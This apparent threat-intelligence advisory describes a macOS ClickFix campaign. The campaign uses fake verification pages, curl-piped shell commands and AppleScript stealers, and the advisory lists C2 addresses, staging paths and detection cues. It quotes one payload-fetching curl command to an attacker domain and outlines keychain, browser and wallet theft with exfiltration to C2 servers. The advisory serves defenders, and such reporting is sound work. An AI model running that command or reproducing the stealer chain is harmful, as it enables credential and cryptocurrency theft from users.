# macOS ClickFix Campaign: AppleScript Stealers Abuse Terminal and Script Editor Before macOS 26 Protections

> Netskope Threat Labs is tracking an active ClickFix social-engineering campaign targeting macOS users that lures victims to fake CAPTCHA/verification pages which instruct them to paste a curl-piped command into Terminal. The command fetches an AppleScript (osascript) stealer that presents a non-closable Directory Services password dialog, then exfiltrates browser cookies/logins, login.keychain-db, 16+ cryptocurrency wallets, and browser extension vaults to an attacker-controlled HTTP server at 172.94.9.250. Operators are already pivoting to applescript:// URL-scheme delivery via Script Editor to survive the macOS 26.4 Terminal paste-command scanner.

- **Published:** 2026-04-20T12:00:00Z
- **Last reviewed:** 2026-04-20T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0396
- **ID:** TL-2026-0396
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 66 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Netskope Threat Labs published an April 20, 2026 analysis of an active ClickFix campaign retooled for macOS that abuses Apple's own scripting stack (osascript / AppleScript / Script Editor) to steal credentials, browser state, keychain contents, and cryptocurrency wallets from thousands of consumer and enterprise macOS endpoints. The campaign is notable because it (1) arrives immediately before Apple's macOS 26 ‘Tahoe’ hardening rollout, which introduces the first native Terminal paste-command scanner and restricted AppleEvents defaults purpose-built to disrupt ClickFix, and (2) operators have already iterated multiple payload variants to survive those mitigations.

Initial access follows the canonical ClickFix playbook. Victims are driven from malvertising, SEO-poisoned cryptocurrency sites, and typosquatted domains (e.g. comparisions[.]org, cryptoinfo-news[.]com, dryvecar[.]com, odyssey1[.]to, barbermoo[.]xyz) to fake CAPTCHA, Cloudflare-verification, or ‘repair your Mac’ pages. The lure presents a ‘Verification Steps’ or ‘System Maintenance’ panel instructing the user to press Command+Space, open Terminal, paste a pre-copied command, and press Return. The pasted command is a curl-piped-to-shell one-liner that silently downloads a second-stage shell wrapper and detaches via nohup with stdin/stdout/stderr redirected to /dev/null so the user sees no output and returns to a clean prompt.

The second stage is a heredoc-wrapped shell script (‘rogue.sh’ / ‘Matryoshka’ variant) that base64-decodes, gunzips, and evals an inner AppleScript payload written to a temporary staging directory such as /tmp/xdivcmp/, /tmp/lovemrtrump/, or /tmp/osalogging/. The AppleScript is invoked through osascript and immediately displays a non-closable dialog that mimics a legitimate ‘System Preferences’ authentication prompt. Password candidates are validated in real time against macOS Directory Services using ‘do shell script … with administrator privileges’ or a dscl authentication call, so only a real login password closes the dialog. Once the cleartext password is captured, the stealer runs with admin rights and begins parallel collection.

Harvesting is extensive. The stealer enumerates 12 Chromium-based browsers (Chrome, Chrome Beta, Chrome Canary, Chrome Dev, Edge, Brave, Vivaldi, Opera, Opera GX, Chromium, Arc, CocCoc) and 2 Firefox-based browsers (Firefox, Waterfox), copying Cookies, Login Data, Web Data, IndexedDB, and Local Extension Settings for 200+ password-manager, 2FA, and wallet extensions (LastPass, 1Password, Dashlane, Bitwarden, MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Authy, Google Authenticator). It exfiltrates login.keychain-db (AES-256 encrypted, decrypted offline using the captured password) and 16 standalone desktop wallets including Exodus, Atomic, Electrum, Coinomi, Guarda, Ledger Live, Trezor Suite, Bitcoin Core, Litecoin Core, Dash Core, Dogecoin Core, Monero, Wasabi, Sparrow, Electron Cash, and Electrum-LTC. In the Matryoshka variant the loader surgically patches /Applications/Ledger Live.app/Contents/Resources/app.asar and re-signs the Electron bundle locally, while Trezor Suite is killed, removed, and replaced with a malicious trojanized build pulled from C2.

Collected artefacts are zipped to /tmp/out.zip or /tmp/osalogging.zip and POSTed to the C2 using either plain HTTP (e.g. http://172.94.9.250, http://45.135.232.33/log) or an API-key-gated endpoint that returns 404 without the correct ‘api-key: 5190ef17…’ header. Hunt.io’s infrastructure mapping connects the campaign to a cluster of at least nine C2 servers (45.146.130.129, 5.199.166.102, 185.39.206.183, 45.135.232.33, 88.214.50.3, 194.26.29.217, 83.222.190.214, 185.147.124.212, 188.92.28.186) running OpenSSH 9.2p1 on port 22, phishing pages on 80, a hidden admin panel on 3333, and iperf3 on 5201 — likely a Russian-speaking MaaS crew overlapping with Odyssey Stealer and Atomic Stealer affiliates.

Jamf Threat Labs disclosed a parallel variant on April 8, 2026 that bypasses Terminal entirely. That chain abuses the applescript:// URL scheme: clicking a crafted link in any browser triggers Script Editor (which is not covered by the new macOS 26.4 Terminal paste-command scanner), which then runs a string-obfuscated tr-transformed command resolving to ‘curl -kSsfL https://dryvecar[.]com/curl/04566d1d3f9717b2e7e6b643775d9ca72cef942f6df9ce075cf8c73a1bd2565a’. The returned second stage is a base64+gzip-compressed Mach-O identified by Jamf as an Atomic Stealer variant, executed from /tmp. On macOS 26.0 the script runs directly; on 26.4 it produces an additional warning prompt that users can still click through, confirming the ‘warning-only’ mitigation is not a hard control.

Defensively this matters because ClickFix sidesteps every signed-binary and notarization control Apple has invested in. No malicious Mach-O is executed on disk during the initial stage — the entire kill chain is a legitimate curl, a legitimate shell, a legitimate osascript, and a legitimate Script Editor. Detection must therefore pivot to behavioural telemetry: osascript child processes, curl piped to sh/zsh originating from Terminal or Script Editor with network-sourced content, writes to /tmp/{xdivcmp,lovemrtrump,osalogging}/, dscl authentication attempts with repeated passwords from osascript ancestry, applescript:// URL handler invocations from browser processes, and outbound HTTP POSTs to the listed C2 IPs carrying zip archives. macOS 26.4 adds a native Terminal paste warning and tightened AppleEvents authorization, but the Jamf chain proves operators have already adapted; defenders should not rely on OS-level warnings alone.

## MITRE ATT&CK

- T1589 Gather Victim Identity Information
- T1583 Acquire Infrastructure
- T1587 Develop Capabilities
- T1566 Phishing
- T1189 Drive-by Compromise
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1559 Inter-Process Communication
- T1547 Boot or Logon Autostart Execution
- T1548 Abuse Elevation Control Mechanism
- T1140 Deobfuscate/Decode Files or Information
- T1027 Obfuscated Files or Information
- T1036 Masquerading
- T1564 Hide Artifacts
- T1056 Input Capture
- T1555 Credentials from Password Stores
- T1539 Steal Web Session Cookie
- T1082 System Information Discovery
- T1083 File and Directory Discovery
- T1217 Browser Information Discovery
- T1560 Archive Collected Data
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel
- T1657 Financial Theft

## Sources

- [macOS ClickFix Campaign: AppleScript Stealers & New Terminal Protections](https://www.netskope.com/blog/macos-clickfix-campaign-applescript-stealers-new-terminal-protections)
- [Clickfix on macOS: AppleScript Stealer, Terminal Phishing, and C2 Infrastructure](https://hunt.io/blog/macos-clickfix-applescript-terminal-phishing)
- [ClickFix Malware Uses macOS Script Editor to Deliver Atomic Stealer](https://www.jamf.com/blog/clickfix-macos-script-editor-atomic-stealer/)
- [Unpacking the New Matryoshka ClickFix Variant: Typosquatting Campaign Delivers macOS Stealer](https://www.intego.com/mac-security-blog/matryoshka-clickfix-macos-stealer/)
- [New macOS stealer campaign uses Script Editor in ClickFix attack](https://www.bleepingcomputer.com/news/security/new-macos-stealer-campaign-uses-script-editor-in-clickfix-attack/)
- [ClickFix campaign delivers Mac malware via fake Apple page](https://www.helpnetsecurity.com/2026/04/10/clickfix-mac-malware-script-editor/)
- [ClickFix macOS Phishing: AppleScript Stealer Threat](https://socprime.com/active-threats/clickfix-on-macos-applescript-malware/)
- [Odyssey Stealer: ClickFix Malware Attacks macOS Users for Credentials and Crypto Wallet Details](https://www.forcepoint.com/blog/x-labs/odyssey-stealer-attacks-macos-users)
- [New ClickFix variant bypasses Apple safeguards with one-click script execution](https://www.csoonline.com/article/4156500/new-clickfix-variant-bypasses-apple-safeguards-with-one-click-script-execution.html)
- [ClickFix Campaign Abuses macOS Script Editor to Deploy Atomic Stealer](https://gbhackers.com/macos-script-editor-abused/)
- [MacSync Stealer: How a MaaS Infostealer Is Quietly Draining macOS Endpoints](https://redpiranha.net/news/macsync-stealer-how-maas-infostealer-quietly-draining-macos-endpoints)
- [MITRE ATT&CK T1059.002 — AppleScript](https://attack.mitre.org/techniques/T1059/002/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0396